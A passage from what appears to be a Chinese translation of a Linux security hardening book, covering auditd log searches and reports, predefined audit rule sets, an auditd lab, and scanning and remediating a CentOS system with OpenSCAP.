12:32:04.341:14152) : cwd=/home/charlie -type=SYSCALL msg=audit(12/12/2017 12:32:04.341:14152) : arch=x86_64 syscall=lgetxattr success=yes exit=35 a0=0x7ffd8d18f7dd a1=0x7f2496858f8a a2=0x12bca30 a3=0xff items=1 ppid=11637 pid=11663 auid=charlie uid=charlie gid=charlie euid=charlie suid=charlie fsuid=charlie egid=charlie sgid=charlie fsgid=charlie tty=pts0 ses=1794 comm=ls exe=/usr/bin/ls subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=secretcats_watch -``` - -这是最后一个: - -```sh -type=PROCTITLE msg=audit(12/12/2017 12:32:04.341:14155) : proctitle=ls --color=auto -l /secretcats -type=PATH msg=audit(12/12/2017 12:32:04.341:14155) : item=0 name=/secretcats inode=33583041 dev=fd:01 mode=dir,sgid,sticky,770 ouid=nobody ogid=secretcats rdev=00:00 obj=unconfined_u:object_r:default_t:s0 objtype=NORMAL -type=CWD msg=audit(12/12/2017 12:32:04.341:14155) : cwd=/home/charlie -type=SYSCALL msg=audit(12/12/2017 12:32:04.341:14155) : arch=x86_64 syscall=openat success=no exit=EACCES(Permission denied) a0=0xffffffffffffff9c a1=0x12be300 a2=O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC a3=0x0 items=1 ppid=11637 pid=11663 auid=charlie uid=charlie gid=charlie euid=charlie suid=charlie fsuid=charlie egid=charlie sgid=charlie fsgid=charlie tty=pts0 ses=1794 comm=ls exe=/usr/bin/ls subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=secretcats_watch -``` - -这里有两点需要注意。首先,试图进入目录不会触发警报。然而,使用`ls`尝试读取目录的内容确实如此。其次,注意第二条记录中显示的`Permission denied`信息。 - -我们将看到的最后一组警报是在克利奥帕特拉创建她的`cleopatrafile.txt`文件时创建的。此事件触发了包含 30 条记录的警报。我只给你看其中两个,第一个在这里: - -```sh -type=PROCTITLE msg=audit(12/12/2017 11:49:37.536:13856) : proctitle=vim cleopatrafile.txt -type=PATH msg=audit(12/12/2017 11:49:37.536:13856) : item=0 name=. inode=33583041 dev=fd:01 mode=dir,sgid,sticky,770 ouid=nobody ogid=secretcats rdev=00:00 obj=unconfined_u:o -bject_r:default_t:s0 objtype=NORMAL -type=CWD msg=audit(12/12/2017 11:49:37.536:13856) : cwd=/secretcats -type=SYSCALL msg=audit(12/12/2017 11:49:37.536:13856) : arch=x86_64 syscall=open success=yes exit=4 a0=0x5ab983 a1=O_RDONLY a2=0x0 a3=0x63 items=1 ppid=9572 pid=9593 auid=cle -opatra uid=cleopatra gid=cleopatra euid=cleopatra suid=cleopatra fsuid=cleopatra egid=cleopatra sgid=cleopatra fsgid=cleopatra tty=pts0 ses=1779 comm=vim exe=/usr/bin/vim sub -j=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=secretcats_watch -``` - -第二个如下: - -```sh -type=PROCTITLE msg=audit(12/12/2017 11:49:56.001:13858) : proctitle=vim cleopatrafile.txt -type=PATH msg=audit(12/12/2017 11:49:56.001:13858) : item=1 name=/secretcats/.cleopatrafile.txt.swp inode=33583065 dev=fd:01 mode=file,600 ouid=cleopatra ogid=secretcats rdev -=00:00 obj=unconfined_u:object_r:default_t:s0 objtype=DELETE -type=PATH msg=audit(12/12/2017 11:49:56.001:13858) : item=0 name=/secretcats/ inode=33583041 dev=fd:01 mode=dir,sgid,sticky,770 ouid=nobody ogid=secretcats rdev=00:00 obj=unc -onfined_u:object_r:default_t:s0 objtype=PARENT -type=CWD msg=audit(12/12/2017 11:49:56.001:13858) : cwd=/secretcats -type=SYSCALL msg=audit(12/12/2017 11:49:56.001:13858) : arch=x86_64 syscall=unlink success=yes exit=0 a0=0x15ee7a0 a1=0x1 a2=0x1 a3=0x7ffc2c82e6b0 items=2 ppid=9572 pid=9593 -auid=cleopatra uid=cleopatra gid=cleopatra euid=cleopatra suid=cleopatra fsuid=cleopatra egid=cleopatra sgid=cleopatra fsgid=cleopatra tty=pts0 ses=1779 comm=vim exe=/usr/bin -/vim subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=secretcats_watch - -``` - -可以看出,这两条消息中的第一条发生在克利奥帕特拉保存文件并退出`vim`时,因为第二条消息显示`objtype=DELETE`,她临时的`vim`交换文件被删除了。 - -好吧,这些都很好,但是如果这些信息太多怎么办?如果您只是想要一个由该规则触发的所有安全事件的快速稀疏列表,该怎么办?为此,我们将使用`aureport`。我们将像以前一样使用它。 - -首先,让我们将`aureport`输出导入`less`而不是`grep`,这样我们就可以看到列标题: - -```sh -[donnie@localhost ~]$ sudo aureport -i -k | less - -Key Report -=============================================== -# date time key success exe auid event -=============================================== -1\. 12/11/2017 13:06:20 passwd_changes yes ? donnie 11393 -2\. 12/11/2017 13:49:15 passwd_changes yes ? donnie 11511 -3\. 12/11/2017 13:49:15 passwd_changes yes /usr/bin/chfn donnie 11512 -4\. 12/11/2017 14:54:11 passwd_changes yes /usr/sbin/usermod donnie 11728 -5\. 12/11/2017 14:54:25 passwd_changes yes /usr/sbin/usermod donnie 11736 -. . . -. . . -``` - -`success`列中的状态将是`yes`或`no`,这取决于用户是否能够成功执行违反规则的操作。或者,如果事件不是规则被触发的结果,它可能是一个问号。 - -对于查理,我们在第 *48* 行看到一个`yes`事件,第 *49* 到 *51* 行的事件都具有`no`状态。我们还可以看到,所有这些条目都是由查理使用`ls`命令触发的: - -```sh -sudo aureport -i -k | grep 'secretcats_watch' - -[donnie@localhost ~]$ sudo aureport -i -k | grep 'secretcats_watch' -6\. 12/11/2017 15:01:25 secretcats_watch yes ? donnie 11772 -8\. 12/12/2017 11:49:29 secretcats_watch yes /usr/bin/ls cleopatra 13828 -9\. 12/12/2017 11:49:37 secretcats_watch yes /usr/bin/vim cleopatra 13830 -10\. 12/12/2017 11:49:37 secretcats_watch yes /usr/bin/vim cleopatra 13829 -. . . -. . . -48\. 12/12/2017 12:32:04 secretcats_watch yes /usr/bin/ls charlie 14152 -49\. 12/12/2017 12:32:04 secretcats_watch no /usr/bin/ls charlie 14153 -50\. 12/12/2017 12:32:04 secretcats_watch no /usr/bin/ls charlie 14154 -51\. 12/12/2017 12:32:04 secretcats_watch no /usr/bin/ls charlie 14155 -[donnie@localhost ~]$ -``` - -你可能会认为第 *48* 行的`yes`事件表明查理成功读取了`secretcats`目录的内容。为了进一步分析这一点,让我们看看每行末尾的事件编号,并将它们与我们之前的`ausearch`命令的输出相关联。您将看到事件编号`14152`到`14155`属于具有相同时间戳的记录。我们可以在每条记录的第一行看到: - -```sh -[donnie@localhost ~]$ sudo ausearch -i -k secretcats_watch | less - -type=PROCTITLE msg=audit(12/12/2017 12:32:04.341:14152) : proctitle=ls --color=auto -l /secretcats - -type=PROCTITLE msg=audit(12/12/2017 12:32:04.341:14153) : proctitle=ls --color=auto -l /secretcats - -type=PROCTITLE msg=audit(12/12/2017 12:32:04.341:14154) : proctitle=ls --color=auto -l /secretcats - -type=PROCTITLE msg=audit(12/12/2017 12:32:04.341:14155) : proctitle=ls --color=auto -l /secretcats -``` - -正如我们之前提到的,这个系列的最后一个记录显示了查理的`Permission denied`,这才是真正重要的。 - -Space doesn't permit me to give a full explanation of each individual item in an audit log record. However, you can read about it here, in the official Red Hat documentation: [https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-understanding_audit_log_files](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-understanding_audit_log_files). - -# 搜索系统调用规则违规 - -我们创造的第三条规则是监视那个鬼鬼祟祟的查理。每当查理试图打开或创建文件时,这条规则都会提醒我们(正如我们前面提到的,`1006`是查理的用户标识号): - -```sh -sudo auditctl -a always,exit -F arch=b64 -S openat -F auid=1006 -``` - -即使查理在这个系统上没有做那么多,这个规则给我们的日志条目比我们预期的要多得多。我们将只看几个条目: - -```sh -time->Tue Dec 12 11:49:29 2017 -type=PROCTITLE msg=audit(1513097369.952:13828): proctitle=6C73002D2D636F6C6F723D6175746F -type=PATH msg=audit(1513097369.952:13828): item=0 name="." inode=33583041 dev=fd:01 mode=043770 ouid=99 ogid=1009 rdev=00:00 obj=unconfined_u:object_r:default_t:s0 objtype=NO -RMAL -type=CWD msg=audit(1513097369.952:13828): cwd="/secretcats" -type=SYSCALL msg=audit(1513097369.952:13828): arch=c000003e syscall=257 success=yes exit=3 a0=ffffffffffffff9c a1=10d1560 a2=90800 a3=0 items=1 ppid=9572 pid=9592 auid=1004 u -id=1004 gid=1006 euid=1004 suid=1004 fsuid=1004 egid=1006 sgid=1006 fsgid=1006 tty=pts0 ses=1779 comm="ls" exe="/usr/bin/ls" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0 -:c0.c1023 key="secretcats_watch" -``` - -该记录是在查理试图访问`/secretcats/`目录时生成的。所以,我们可以期待看到这个。但是,我们没想到的是,查理通过**安全外壳** ( **SSH** )登录系统时间接访问的文件记录列表非常长。这里有一个: - -```sh -time->Tue Dec 12 11:50:28 2017 -type=PROCTITLE msg=audit(1513097428.662:13898): proctitle=737368643A20636861726C6965407074732F30 -type=PATH msg=audit(1513097428.662:13898): item=0 name="/proc/9726/fd" inode=1308504 dev=00:03 mode=040500 ouid=0 ogid=0 rdev=00:00 obj=unconfined_u:unconfined_r:unconfined_t -:s0-s0:c0.c1023 objtype=NORMAL -type=CWD msg=audit(1513097428.662:13898): cwd="/home/charlie" -type=SYSCALL msg=audit(1513097428.662:13898): arch=c000003e syscall=257 success=yes exit=3 a0=ffffffffffffff9c a1=7ffc7ca1d840 a2=90800 a3=0 items=1 ppid=9725 pid=9726 auid=1 -006 uid=1006 gid=1008 euid=1006 suid=1006 fsuid=1006 egid=1008 sgid=1008 fsgid=1008 tty=pts0 ses=1781 comm="sshd" exe="/usr/sbin/sshd" subj=unconfined_u:unconfined_r:unconfin -ed_t:s0-s0:c0.c1023 key=(null) -``` - -这里还有一个: - -```sh -time->Tue Dec 12 11:50:28 2017 -type=PROCTITLE msg=audit(1513097428.713:13900): proctitle=737368643A20636861726C6965407074732F30 -type=PATH msg=audit(1513097428.713:13900): item=0 name="/etc/profile.d/" inode=33593031 dev=fd:01 mode=040755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype= -NORMAL -type=CWD msg=audit(1513097428.713:13900): cwd="/home/charlie" -type=SYSCALL msg=audit(1513097428.713:13900): arch=c000003e syscall=257 success=yes exit=3 a0=ffffffffffffff9c a1=1b27930 a2=90800 a3=0 items=1 ppid=9725 pid=9726 auid=1006 u -id=1006 gid=1008 euid=1006 suid=1006 fsuid=1006 egid=1008 sgid=1008 fsgid=1008 tty=pts0 ses=1781 comm="bash" exe="/usr/bin/bash" subj=unconfined_u:unconfined_r:unconfined_t:s -0-s0:c0.c1023 key=(null) -``` - -在第一条记录中,我们可以看到查理访问了`/usr/sbin/sshd`文件。在第二个中,我们可以看到他访问了`/usr/bin/bash`文件。并不是查理选择访问那些文件。操作系统在正常的登录事件中为他访问了这些文件。因此,正如你所看到的,当你创建审计规则时,你必须小心你的愿望,因为有一个明确的危险,这个愿望可能会被批准。如果你真的需要监视某人,你会想要创建一个不会给你太多信息的规则。 - -在此过程中,我们不妨看看这个的`aureport`输出是什么样子的: - -```sh -[donnie@localhost ~]$ sudo aureport -s -i | grep 'openat' -1068\. 12/12/2017 11:49:29 openat 9592 ls cleopatra 13828 -1099\. 12/12/2017 11:50:28 openat 9665 sshd charlie 13887 -1100\. 12/12/2017 11:50:28 openat 9665 sshd charlie 13889 -1101\. 12/12/2017 11:50:28 openat 9665 sshd charlie 13890 -1102\. 12/12/2017 11:50:28 openat 9726 sshd charlie 13898 -1103\. 12/12/2017 11:50:28 openat 9726 bash charlie 13900 -1104\. 12/12/2017 11:50:28 openat 9736 grep charlie 13901 -1105\. 12/12/2017 11:50:28 openat 9742 grep charlie 13902 -1108\. 12/12/2017 11:50:51 openat 9766 ls charlie 13906 -1110\. 12/12/2017 12:15:35 openat 10952 ls vicky 14077 -1115\. 12/12/2017 12:30:54 openat 11632 sshd charlie 14129 -. . . -. . . -``` - -除了查理的所作所为,我们还可以看到维基和克利奥帕特拉的所作所为。这是因为我们为`/secretcats/`目录设置的规则在维姬和克利奥帕特拉访问、查看或创建该目录中的文件时会生成`openat`事件。 - -# 生成身份验证报告 - -您可以生成用户身份验证报告,而无需定义任何审计规则。只需将`aureport`与`-au`选项开关配合使用(记住`au`,*认证的前两个字母*): - -```sh -[donnie@localhost ~]$ sudo aureport -au -[sudo] password for donnie: -Authentication Report -============================================ -# date time acct host term exe success event -============================================ -1\. 10/28/2017 13:38:52 donnie localhost.localdomain tty1 /usr/bin/login yes 94 -2\. 10/28/2017 13:39:03 donnie localhost.localdomain /dev/tty1 /usr/bin/sudo yes 102 -3\. 10/28/2017 14:04:51 donnie localhost.localdomain /dev/tty1 /usr/bin/sudo yes 147 -. . . -. . . -239\. 12/12/2017 11:50:20 charlie 192.168.0.222 ssh /usr/sbin/sshd no 13880 -244\. 12/12/2017 12:10:06 cleopatra 192.168.0.222 ssh /usr/sbin/sshd no 13992 -. . . -``` - -对于登录事件,这告诉我们用户是在本地终端登录还是通过 SSH 远程登录。要查看任何事件的详细信息,请使用带有`-a`选项的`ausearch`,后跟您在行尾看到的事件编号。(奇怪的是,`-a`选项代表一个事件。) - -让我们看看查理的事件编号`14122`: - -```sh -[donnie@localhost ~]$ sudo ausearch -a 14122 ----- -time->Tue Dec 12 12:30:49 2017 -type=USER_AUTH msg=audit(1513099849.322:14122): pid=11632 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=pubkey acct="charlie" exe="/usr/sbin/sshd" hostname=? addr=192.168.0.222 terminal=ssh res=failed' -``` - -问题是这真的没有任何意义。我是为查理登录的人,我知道查理从来没有登录失败过。事实上,我们可以将其与`/var/log/secure`文件中的匹配条目关联起来: - -```sh -Dec 12 12:30:53 localhost sshd[11632]: Accepted password for charlie from 192.168.0.222 port 34980 ssh2 -Dec 12 12:30:54 localhost sshd[11632]: pam_unix(sshd:session): session opened for user charlie by (uid=0) -``` - -这两个条目的时间戳比`ausearch`输出的时间戳晚几秒,但这没关系。这个日志文件中没有任何内容表明查理曾经登录失败,这两个条目清楚地表明查理的登录确实是成功的。这里的教训是,当您在`ausearch`或`aureport`输出中看到一些奇怪的东西时,一定要将其与适当的身份验证日志文件中的匹配条目相关联,以便更好地了解发生了什么。(认证日志文件,我指的是红帽类系统的`/var/log/secure`和 Ubuntu 系统的`/var/log/auth.log`。其他 Linux 发行版的名称可能会有所不同。) - -# 使用预定义的规则集 - -在您的 CentOS 7 机器的`/usr/share/doc/audit-version_number/rules`目录和您的 CentOS 8 机器的`/usr/share/doc/audit/rules`目录中,您会看到一些针对不同场景的预制规则集。一旦你在 Ubuntu 上安装了 auditd,你也会有它的审计规则,但是 Ubuntu 16.04 和 Ubuntu 18.04 的位置是不同的。在 Ubuntu 16.04 上,规则在`/usr/share/doc/auditd/examples/`目录中。在 Ubuntu 18.04 上,它们在`/usr/share/doc/auditd/examples/rules/`目录中。无论如何,一些规则集在这三个发行版中都是通用的。让我们看看 CentOS 7 机器,看看我们有什么: - -```sh -[donnie@localhost rules]$ pwd -/usr/share/doc/audit-2.7.6/rules -[donnie@localhost rules]$ ls -l -total 96 -. . . --rw-r--r--. 1 root root 4915 Apr 19 2017 30-nispom.rules --rw-r--r--. 1 root root 5952 Apr 19 2017 30-pci-dss-v31.rules --rw-r--r--. 1 root root 6663 Apr 19 2017 30-stig.rules --rw-r--r--. 1 root root 1498 Apr 19 2017 31-privileged.rules --rw-r--r--. 1 root root 218 Apr 19 2017 32-power-abuse.rules --rw-r--r--. 1 root root 156 Apr 19 2017 40-local.rules --rw-r--r--. 1 root root 439 Apr 19 2017 41-containers.rules -. . . -[donnie@localhost rules]$ -``` - -我想重点介绍的三个文件是`nispom`、`pci-dss`和`stig`文件。这三个规则集都是为了满足特定认证机构的审计标准而设计的。按照顺序,这些规则集如下: - -* `nispom`:国家工业安全计划——你会在美国国防部或其承包商那里看到这个规则集。 -* `pci-dss`:支付卡行业数据安全标准——如果你在银行或金融行业工作,或者即使你只是在经营一家接受信用卡的在线企业,你可能会非常熟悉这一点。 -* `stig`:安全技术实施指南——如果你为美国政府工作,或者可能为其他政府工作,你将处理这份指南。 - -要在 CentOS 7 或 CentOS 8 上使用这些规则集之一,只需将适当的文件复制到`/etc/audit/rules.d/`目录: - -```sh -[donnie@localhost rules]$ sudo cp 30-pci-dss-v31.rules /etc/audit/rules.d -[donnie@localhost rules]$ -``` - -在 Ubuntu 上,您会看到这三个文件是用 gzip 压缩来压缩的,尽管其他文件都不是: - -```sh -donnie@ubuntu-ufw:/usr/share/doc/auditd/examples/rules$ ls -l -total 88 -. . . -. . . --rw-r--r-- 1 root root 506 Dec 14 2017 23-ignore-filesystems.rules --rw-r--r-- 1 root root 1368 Dec 14 2017 30-nispom.rules.gz --rw-r--r-- 1 root root 2105 Dec 14 2017 30-pci-dss-v31.rules.gz --rw-r--r-- 1 root root 2171 Dec 14 2017 30-stig.rules.gz --rw-r--r-- 1 root root 1498 Dec 14 2017 31-privileged.rules -. . . -. . . -``` - -因此,您需要在复制之前解压缩它们,如下所示: - -```sh -donnie@ubuntu-ufw:/usr/share/doc/auditd/examples/rules$ sudo gunzip 30-pci-dss-v31.rules.gz - -donnie@ubuntu-ufw:/usr/share/doc/auditd/examples/rules$ ls -l 30-pci-dss-v31.rules --rw-r--r-- 1 root root 5952 Dec 14 2017 30-pci-dss-v31.rules -donnie@ubuntu-ufw:/usr/share/doc/auditd/examples/rules$ -``` - -复制完规则文件后,重新启动 auditd 守护程序以读入新规则。 - -对于红帽或 CentOS,请执行以下操作: - -```sh -sudo service auditd restart -``` - -对于 Ubuntu,请执行以下操作: - -```sh -sudo systemctl restart auditd -``` - -当然,这些规则集中的某个特定规则可能不适合您,或者您可能需要启用当前已禁用的规则。如果是这样,只需在文本编辑器中打开`rules`文件,并注释掉不工作的部分或取消注释需要启用的部分。 - -尽管 auditd 非常酷,但请记住,它只会提醒您潜在的安全漏洞。对他们来说,这无助于加固系统。 - -# 动手实验–使用 auditd - -在本实验中,您将练习使用 auditd 的功能。让我们开始吧: - -1. 仅适用于 Ubuntu,安装`auditd`: - -```sh -sudo apt update -sudo apt install auditd -``` - -2. 查看当前有效的规则: - -```sh -sudo auditctl -l -``` - -3. 从命令行中,创建一个临时规则来审计`/etc/passwd`文件的更改。验证规则是否有效: - -```sh -sudo auditctl -w /etc/passwd -p wa -k passwd_changes -sudo auditctl -l - -``` - -为莱昂内尔创建一个用户帐户。在 Ubuntu 上,执行以下操作: - -```sh -sudo adduser lionel -``` - -在 CentOS 上,执行以下操作: - -```sh -sudo useradd lionel -sudo passwd lionel -``` - -4. 搜索与`passwd`文件的任何更改相关的审计消息: - -```sh -sudo ausearch -i -k passwd_changes -sudo aureport -i -k | grep 'passwd_changes' -``` - -5. 退出你自己的帐户,以莱昂内尔的身份登录。然后,注销莱昂内尔的账户,回到你自己的账户。 -6. 进行身份验证报告: - -```sh -sudo aureport -au -``` - -7. 创建`/secrets`目录并设置权限,以便只有根用户可以访问: - -```sh -sudo mkdir /secrets -sudo chmod 700 /secrets -``` - -8. 创建一个监控`/secrets`目录的规则: - -```sh -sudo auditctl -w /secrets -k secrets_watch -sudo auditctl -l -``` - -9. 注销您的帐户,并以莱昂内尔的身份登录。让他尝试查看`/secrets`目录中的内容: - -```sh -ls -l /secrets -``` - -10. 注销莱昂内尔的账户,登录你自己的账户。查看莱昂内尔创建的警报: - -```sh -sudo ausearch -i -k secrets_watch | less -``` - -11. 您现在有两个临时规则,当您重新启动机器时,它们将会消失。通过创建`custom.rules`文件使它们永久化: - -```sh -sudo sh -c "auditctl -l > /etc/audit/rules.d/custom.rules" -``` - -12. 重新启动计算机,并验证规则是否仍然有效: - -```sh -sudo auditctl -l -``` - -您已经到达了实验室的终点–祝贺您! - -在本节中,您看了一些如何使用 auditd 的示例。接下来,我们将看看 OpenSCAP,它实际上可以修复一个不太安全的系统。 - -# 使用 oscap 应用 OpenSCAP 策略 - -**安全内容自动化协议** ( **SCAP** )由美国**国家标准与技术研究所** ( **NIST** )创建。它包括用于设置安全系统的加固指南、加固模板和基线配置指南。OpenSCAP 是一套可以用来实现 SCAP 的自由/开源软件工具。它包括以下内容: - -* 可以应用于系统的安全配置文件。满足几个不同认证机构的要求有不同的配置文件。 -* 安全指南有助于系统的初始设置。 -* 应用安全模板的`oscap`命令行工具。 -* 在有桌面界面的系统上,你有一个图形用户界面类型的工具 SCAP 工作台。 - -您可以在红帽或 Ubuntu 发行版上安装 OpenSCAP,但是在红帽发行版上实现要好得多。首先,当您安装红帽类型的操作系统时,您可以选择在安装过程中应用 SCAP 配置文件。用 Ubuntu 做不到。RHEL 7、RHEL 8 和 CentOS 7 配备了一套相当完整的现成配置文件。CentOS 8 附带了 CentOS 7 的配置文件,但不包括 CentOS 8。Ubuntu 18.04 附带了 Ubuntu 16.04 的过时配置文件,Ubuntu 18.04 没有。不过,没关系。我将向您展示如何为 CentOS 8 和 Ubuntu 18.04 获取合适的配置文件。 - -When doing initial system builds, it's desirable to follow a security checklist that's appropriate for your scenario. Then, use OpenSCAP to monitor for changes. I'll tell you more about security checklists at the end of [Chapter 14](14.html), *Security Tips and Tricks for the Busy Bee*. - -好的:让我们学习如何安装 OpenSCAP,以及如何使用我们两个发行版通用的命令行实用程序。 - -# 安装 OpenSCAP - -在您的 CentOS 机器上,假设您在操作系统安装期间没有安装 OpenSCAP,请对 CentOS 7 执行以下操作: - -```sh -sudo yum install openscap-scanner scap-security-guide -``` - -对 CentOS 8 执行以下操作: - -```sh -sudo dnf install openscap-scanner scap-security-guide -``` - -在 Ubuntu 机器上执行以下操作: - -```sh -sudo apt install python-openscap ssg-applications ssg-debderived ssg-nondebian ssg-base ssg-debian -``` - -# 查看配置文件 - -在任何一台 CentOS 机器上,您都会在`/usr/share/xml/scap/ssg/content/`目录中看到配置文件。 - -奇怪的是,在 Ubuntu 机器上,你会在`/usr/share/openscap/`目录中看到一些过时的 Fedora 和 RHEL 配置文件。(他们为什么在那里,我不知道。)在`/usr/share/scap-security-guide`目录中,您将看到火狐、Java 运行时环境和 Webmin 的应用配置文件。您还会看到 Ubuntu 操作系统的配置文件,但它们是针对 Ubuntu 16.04 的。(真的,包含 Ubuntu 18.04 的最新配置文件有那么难吗?)配置文件采用`.xml`格式,每个文件包含一个或多个可应用于系统的配置文件。例如,这里有一些来自 CentOS 7 的机器: - -```sh -[donnie@localhost content]$ pwd -/usr/share/xml/scap/ssg/content -[donnie@localhost content]$ ls -l -total 50596 --rw-r--r--. 1 root root 6734643 Oct 19 19:40 ssg-centos6-ds.xml --rw-r--r--. 1 root root 1596043 Oct 19 19:40 ssg-centos6-xccdf.xml --rw-r--r--. 1 root root 11839886 Oct 19 19:41 ssg-centos7-ds.xml --rw-r--r--. 1 root root 2636971 Oct 19 19:40 ssg-centos7-xccdf.xml --rw-r--r--. 1 root root 642 Oct 19 19:40 ssg-firefox-cpe-dictionary.xml -. . . --rw-r--r--. 1 root root 11961196 Oct 19 19:41 ssg-rhel7-ds.xml --rw-r--r--. 1 root root 851069 Oct 19 19:40 ssg-rhel7-ocil.xml --rw-r--r--. 1 root root 2096046 Oct 19 19:40 ssg-rhel7-oval.xml --rw-r--r--. 1 root root 2863621 Oct 19 19:40 ssg-rhel7-xccdf.xml -[donnie@localhost content]$ -``` - -CentOS 8 没有任何`centos8`配置文件,但它确实附带了`rhel8`配置文件,这些配置文件在 CentOS 上不起作用。(或者,至少 2020 年 1 月是这样,CentOS 8.0 和 CentOS 8.1 都是这样。)我们可以在这里看到`rhel8`的简介: - -```sh -[donnie@localhost content]$ ls -l -total 5490 -. . . -. . . --rw-r--r--. 1 root root 1698 May 14 01:05 ssg-rhel8-cpe-dictionary.xml --rw-r--r--. 1 root root 59226 May 14 01:05 ssg-rhel8-cpe-oval.xml --rw-r--r--. 1 root root 6969395 May 14 01:05 ssg-rhel8-ds.xml --rw-r--r--. 1 root root 1139859 May 14 01:05 ssg-rhel8-ocil.xml --rw-r--r--. 1 root root 1941100 May 14 01:05 ssg-rhel8-oval.xml --rw-r--r--. 1 root root 3719713 May 14 01:05 ssg-rhel8-xccdf.xml -[donnie@localhost content]$ -``` - -使用 OpenSCAP 的命令行工具是`oscap`。在我们的 CentOS 7 机器上,让我们使用`info`开关来查看任何配置文件的信息。我们来看看`ssg-centos7-xccdf.xml`的文件: - -```sh -[donnie@localhost content]$ sudo oscap info ssg-centos7-xccdf.xml -. . . -Profiles: - standard - pci-dss - C2S - rht-ccp - common - stig-rhel7-disa - stig-rhevh-upstream - ospp-rhel7 - cjis-rhel7-server - docker-host - nist-800-171-cui -. . . -``` - -在这里,我们可以看到这个文件包含 11 个不同的配置文件,我们可以应用于系统。其中,您可以看到`stig`和`pci-dss`的配置文件,就像我们对审计规则的配置文件一样。而且,如果你运行的是 Docker 容器,`docker-host`配置文件会非常方便。 - -# 获取 Ubuntu 18.04 和 CentOS 8 缺少的配置文件 - -所以,Ubuntu 18.04 和 CentOS 8 没有自带 OpenSCAP 配置文件。所有的希望都破灭了吗?绝对不会。事实证明,当你在 Fedora 31 机器上安装`scap-security-guide`包时,你会得到这两个发行版的配置文件。为了您的方便,我已经将这些配置文件包含在代码存档文件中,您可以从 Packt Publishing 网站下载。下载并提取该文件后,只需进入`Chapter_11`目录,将文件复制到自己虚拟机上的适当位置。 - -If you prefer, you can also download the Ubuntu 18.04 profiles from GitHub. Here's the link: [https://github.com/ComplianceAsCode/content/tree/master/ubuntu1804/profiles](https://github.com/ComplianceAsCode/content/tree/master/ubuntu1804/profiles). - -Strangely, though, the CentOS 8 profiles aren't there. - -在您的 Ubuntu 18.04 机器上,通过执行以下操作将配置文件复制到正确的位置: - -```sh -sudo cp *.xml /usr/share/scap-security-guide/ -``` - -在您的 CentOS 8 机器上,通过执行以下操作将配置文件复制到正确的位置: - -```sh -sudo cp *.xml /usr/share/xml/scap/ssg/content -``` - -# 扫描系统 - -在本节中,我们将使用我们的 CentOS 7 虚拟机。 - -This procedure works the same for CentOS 8\. As we'll see later, Ubuntu 18.04 has a completely different set of profiles, but other than that, the procedure will still be the same. - -现在,假设我们需要确保我们的系统符合支付卡行业标准。首先,我们将扫描 CentOS 机器以查看需要修复的内容(请注意,以下命令非常长,并且在打印页面上换行): - -```sh -sudo oscap xccdf eval --profile pci-dss --results scan-xccdf-results.xml /usr/share/xml/scap/ssg/content/ssg-centos7-xccdf.xml -``` - -就像我们一直喜欢做的那样,让我们把它分解一下: - -* `xccdf eval`:可扩展配置清单描述格式是我们可以用来编写安全配置文件规则的语言之一。我们将使用用这种语言编写的配置文件来评估系统。 -* `--profile pci-dss`:这里我指定了要用支付卡行业-数据安全标准配置文件来评估系统。 -* `--results scan-xccdf-results.xml`:我要把扫描结果保存到这个`.xml`格式的文件中。扫描完成后,我将根据该文件创建报告。 -* `/usr/share/xml/scap/ssg/content/ssg-centos7-xccdf.xml`:这是包含`pci-dss`配置文件的文件。 - -随着扫描的进行,输出将被发送到屏幕和指定的输出文件。这是一个很长的项目列表,所以我只给你看其中的几个。以下是一些看起来不错的项目: - -```sh - Ensure Red Hat GPG Key Installed - ensure_redhat_gpgkey_installed - pass - - Ensure gpgcheck Enabled In Main Yum Configuration - ensure_gpgcheck_globally_activated - pass - - Ensure gpgcheck Enabled For All Yum Package Repositories - ensure_gpgcheck_never_disabled - pass - - Ensure Software Patches Installed - security_patches_up_to_date - notchecked -``` - -以下是需要修复的几个项目: - -```sh - Install AIDE - package_aide_installed - fail - - Build and Test AIDE Database - aide_build_database - fail - -``` - -所以,我们安装了 GPG 加密,这很好。然而,我们没有安装 AIDE 入侵检测系统是一件坏事。 - -现在,我已经运行了扫描并创建了一个带有结果的输出文件,我可以构建我的报告: - -```sh -sudo oscap xccdf generate report scan-xccdf-results.xml > scan-xccdf-results.html -``` - -这将从`.xml`格式文件中提取不应该被人类读取的信息,并将其传输到您可以在网络浏览器中打开的`.html`文件中。(报告说有 20 个问题需要解决,请记录在案。) - -# 修复系统 - -因此,在我们的系统符合支付卡行业标准之前,我们有 20 个问题需要解决。让我们看看有多少`oscap`可以为我们修复: - -```sh -sudo oscap xccdf eval --remediate --profile pci-dss --results scan-xccdf-remediate-results.xml /usr/share/xml/scap/ssg/content/ssg-centos7-xccdf.xml -``` - -这是我用来执行初始扫描的相同命令,除了我添加了`--remediate`选项,并且我正在将结果保存到不同的文件中。运行此命令时,您需要有一点耐心,因为修复某些问题需要下载和安装软件包。事实上,就在我键入这个的时候,`oscap`正忙着下载和安装丢失的 AIDE 入侵检测系统包。 - -好的,修复仍在运行,但我仍可以向您展示一些已修复的内容: - -```sh - Disable Prelinking - disable_prelink - error - Install AIDE - package_aide_installed - fixed - Build and Test AIDE Database - aide_build_database - fixed - Configure Periodic Execution of AIDE - aide_periodic_cron_checking - fixed - Verify and Correct File Permissions with RPM - rpm_verify_permissions - error - -``` - -有几个错误是因为`oscap`无法修复的事情,但这很正常。至少你知道它们,这样你就可以自己尝试修复它们。 - -看看这个。你还记得在[第 2 章](02.html)、*保护用户账户*中,我是如何让你跳圈确保用户拥有定期过期的强密码的吗?通过应用这个 OpenSCAP 概要文件,您可以自动修复所有问题。以下是第一组已修复的项目: - -```sh - Set Password Maximum Age - accounts_maximum_age_login_defs - fixed - - Set Account Expiration Following Inactivity - account_disable_post_pw_expiration - fixed - - Set Password Strength Minimum Digit Characters - accounts_password_pam_dcredit - fixed - - Set Password Minimum Length - accounts_password_pam_minlen - fixed -``` - 